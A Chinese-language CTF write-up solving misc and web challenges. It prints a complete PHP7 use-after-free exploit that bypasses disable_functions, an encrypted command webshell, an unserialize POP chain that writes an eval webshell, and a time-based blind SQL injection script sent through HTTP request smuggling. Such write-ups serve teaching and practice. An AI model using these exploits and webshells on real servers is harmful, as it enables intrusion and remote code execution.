每次比赛都能学到不少东西,这次也不例外

MISC

misc1

txt打开乱码

用winhex打开选择 EBCDIC 编码就好了

image-20191126170238859

image-20191126170248435

image-20191126170219157

misc2

Flask框架的题,最近遇到不少,该学学flask了

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os
from flask import request
from flask import Flask

secret = open('/flag', 'rb')

os.remove('/flag')


app = Flask(__name__)
app.secret_key = '015b9efef8f51c00bcba57ca8c56d77a'


@app.route('/')
def index():
return open(__file__).read()


@app.route("/r", methods=['POST'])
def r():
data = request.form["data"]
if os.path.exists(data):
return open(data).read()
return ''


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)

可以进行任意文件读取,但是由脚本开始处可知flag被读取后源文件就删除了

但是, 在linux中每个被打开的文件都会在/proc/self/fd/目录中有记录,其中(/proc/self/fd/文件描述符号;这个文件是符号文件)的文件就是文件描述符所对应的文件。

平时我们在/proc/self/fd目录下使用ls时,只能看到0,1,2,255四个文件,但是当我们用ls自动补全功能(tab)时,能看到0,1,2,3,255五个文件。

image-20191126105936465

image-20191126105909869

自动补全功能是bash内置的一个功能,而ls是系统上的一个程序,以子进程的形式独立于bash运行。所以如果bash这个自动补全功能打开了我们要补全的路径(文件夹也是文件),那么应该会获得文件描述符3,ls也是一样。但是5736这个PID是bash的,所以我们用ls的时候看不到3而用bash的自动补全功能看得到。

image-20191126105921371

python flask框架搭起来的服务器也是一个独立的程序,在此程序内打开的文件都会被记录于/proc/self/fd/3中,所以我们可以直接读取/proc/self/fd/3获得被打开的flag

image-20191126105857942

/dev/fd/3相同作用

misc3

见了鬼了,只能从控制台查看到关键信息

下载到html,利用记事本等工具打开一切正常

image-20191126170914290

但是从控制台查看就有特殊信息

image-20191126170934916

观察发现只有两种字符,猜测是二进制转字符串

image-20191126171002178

webshell

审计流量,可以找到shell.php

image-20191126110428897

转换完后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
@session_start();
$key='f5045b05abe6ec9b1e37fafa851f5de9';
return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "0897d";
echo @asenc($output);
echo "60c97";
};
ob_start();
try{
$p=base64_decode($_POST["0xc461e86196f1a"]);
$s=base64_decode($_POST["0x9ec3fa98a283f"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";
function fe($f){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}
else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
};
function runcmd($c){
$ret=0;
if(fe('system')){
@system($c,$ret);
}elseif(fe('passthru')){
@passthru($c,$ret);
}elseif(fe('shell_exec')){
print(@shell_exec($c));
}elseif(fe('exec')){
@exec($c,$o,$ret);
print(join("",$o));
}elseif(fe('popen')){
$fp=@popen($c,'r');
while(!@feof($fp)){
print(@fgets($fp, 2048));
}
@pclose($fp);
}elseif(fe('antsystem')){
@antsystem($c);
}else{
$ret = 127;
}
return $ret;
};
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();

有个比较坑的地方,我以为这个地方输出的是固定的字符,然鹅它输出的却是随机的十个字符

image-20191126165204055

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
<?php

$cipher = "8c2b4kRD1eD+vSZ81FAJ6XClabCR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dZOTFg4DW9MYwG6k3rEvAAR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJHygVK0ad8xG1Qk6pzSaCiR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJ1qI47Cz1/qfnNoNARGhLfVhC0RJlfeKCvbPwpjFn//BSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93FIVjxEmVnLHPVr5M/LQPdxSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93GnMvJfVbvphfWnt17IOkzYjvv91k2fnYDR7u4nlGM3YitxGYGs9mn+HS5iJBXORtYrcRmBrPZp/h0uYiQVzkbWK3EZgaz2af4dLmIkFc5G1itxGYGs9mn+HS5iJBXORtUq4dBjDRFhDqDyzs9CScJhrd3yMusQ+qsnZkq4Ey7NVJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l2hDPuDhVN4TaDLzp9bXyfGeCVhvglAaNo2rA/ovnRTTtfA5ZywMOOijj6md5RItqjXwOWcsDDjoo4+pneUSLao18DlnLAw46KOPqZ3lEi2qNfA5ZywMOOijj6md5RItqgS0b9hS7r5TX9YNZo2awgUAyqVacVgwr1NlNQ2k/kihhh0QQfnjeGdZhkz0N0jAKiMzFmAMa7xQ1URxTaHoHjDg3NaWl/8+PVG+pyaKrbNDjfl77POeQE8+0MCHpz6YxWLJ6mwCe1X3uzz/HSHcHSvQBB8FxjOhugOErOXkd3LZi/60Gr4gIEc1JIxA5A2pE/V6Z/DFwNOR4M/IIIWdGr5e2e10";

function decrypt($cipher) {
$key = 'f5045b05abe6ec9b1e37fafa851f5de9';
return @base64_decode(openssl_decrypt(base64_decode($cipher), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
};

$cipher = substr($cipher, 5, strlen($cipher) - 10);
echo decrypt($cipher);

Web

ezbypass

php7的一个绕过disablefunction的洞,有两个解法

第一个,把github上的exp传上去exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
<?php
@pwn($_REQUEST['sdpc']);
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
?>

第二个,传上个一句话,利用蚁剑的插件bypass

ezupload

题目返回的信息太坑了

源码泄露,存在.index.php.swp

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
#error_reporting(0);
session_start();
include "config.php";

$username = $_POST['username'];
$password = $_POST['password'];
if (isset($username)){
$sql = "select password from user where name=?";
if ($stmt = $mysqli->prepare($sql)) {
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($dpasswd);
$stmt->fetch();
if ($dpasswd === $password){
$_SESSION['login'] = 1;
header("Location: /upload.php");
}else{
die("login failed");
}
$stmt->close();
}
}else{
header("Location: /index.php");
}

$mysqli->close();

看到预编译就知道sql注入没戏了

但是,当$password = $_POST['password'];不存在时,$password即为null

同样,当sql语句查询不存在结果时,也返回null

所以,username随便写,把password删掉再post发包即可登陆

登录后是个上传界面,传个图片马上去,返回

1
array(1) { ["avatar"]=> array(5) { ["name"]=> string(35) "illust_60354621_20170730_211351.jpg" ["type"]=> string(10) "image/jpeg" ["tmp_name"]=> string(14) "/tmp/phpIkG6uP" ["error"]=> int(0) ["size"]=> int(1919322) } } upload success!

以为传到/tmp目录下了,谁知道用扫描器一扫有个/uploads,而且上传后的文件名都没变。。。

过滤了.php,但是还能用.php5

ezpop

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return true;
}

return false;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

大体一看,B::set()可以写入文件,而且文件的文件名、路径和文件内容后半部分可控,但前半部分有个exit()函数。

exit()函数可以利用base64_decode以及php://filter可以绕过。
谈一谈php://filter的妙用

为了绕过exit,我们需要将前半部分补齐,使其被base64解码掉,去掉<?;>()这些无法被base64的字符,php//exit一共9个字符,我们需要再加3个,才能4个一组

我们只能将三个字符拼接在$data中,我们要写入的一句话木马也在$data中,从67-69行可知,$data经过了一些处理,而处理data用到的函数可以由options['serialize']控制,所以我们可以控制其为base64_decode,这样写入内容的绕过就解决了。

$data调用了A::getForStorage()赋值,其值可由A::complete控制

image-20191126200516095

为了调用能写文件的B类,我们需要用到A类中的save函数,我们只需要把A::store赋值为B类,且 A::autosave==false就可以在第42行调用B::set()

再看看文件是怎么写的,文件名和路径由options['prefix']控制,可以使用伪协议写,文件的后缀名有如下关系

image-20191126200801638

EXP如下:

为了防止出错,我们还是把用不到的变量都赋下默认值吧。。

1
2
3
4
5
6
7
8
9
10
11
12
$b = new B();
$b->writeTimes = 0;
$b -> options = array('serialize' => "base64_decode",
'data_compress' => false,
'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/sdpc");

$a = new A($store = $b, $key = ".php", $expire = 0);
$a->autosave = false;
$a->cache = array();
$a->complete = base64_encode('qwq'.base64_encode('<?php @eval($_POST["sdpc"]);?>'));

echo urlencode(serialize($a));

image-20191127085023507

ezwaf

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 <?php
include "config.php";

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

function escape($arr)
{
global $mysqli;
$newarr = array();
foreach($arr as $key=>$val)
{
if (!is_array($val))
{
$newarr[$key] = mysqli_real_escape_string($mysqli, $val);
}
}
return $newarr;
}

$_GET= escape($_GET);

if (isset($_GET['name']))
{
$name = $_GET['name'];
mysqli_query($mysqli, "select age from user where name='$name'");
}else if(isset($_GET['age']))
{
$age = $_GET['age'];
mysqli_query($mysqli, "select name from user where age=$age");
}

本来以为直接用age参数就能不用引号完成注入,但是?age=1 and sleep(5)会报403。。。

后来才知道,这个题需要用到HTTP请求走私

HTTP走私介绍见另一篇文章

先看看这个题,这个题age参数看似没有过滤,但实际上服务器挂有waf,在遇到sql注入语句会返回403

image-20191127172304049

由此可以尝试利用HTTP走私绕过waf,由于不知道走私的确切类型,可以一个一个尝试

首先是CL-CL类型的,前端代理服务器返回了400错误,但是后端服务器可以正常延时

image-20191127172616356

其他类型尝试均未成功,不知道是我方法错误还是其他原因

于是乎,就可以拿脚本跑出flag

1
2
3
4
5
6
7
8
9
10
11
12
import requests

flag = ''
url = 'http://111.186.57.61:10601/?age='
for j in range(0,36):
for i in range(0,128):
try:
web = requests.get(url+'-1 or if((ascii(substr((select group_concat(flag_32122) from flag_xdd),{0},1))={1}),sleep(4),1)'.format(str(j),str(i)),headers={'Content-Length':''},timeout=2)
except Exception as e:
flag +=chr(i)
print(flag)
break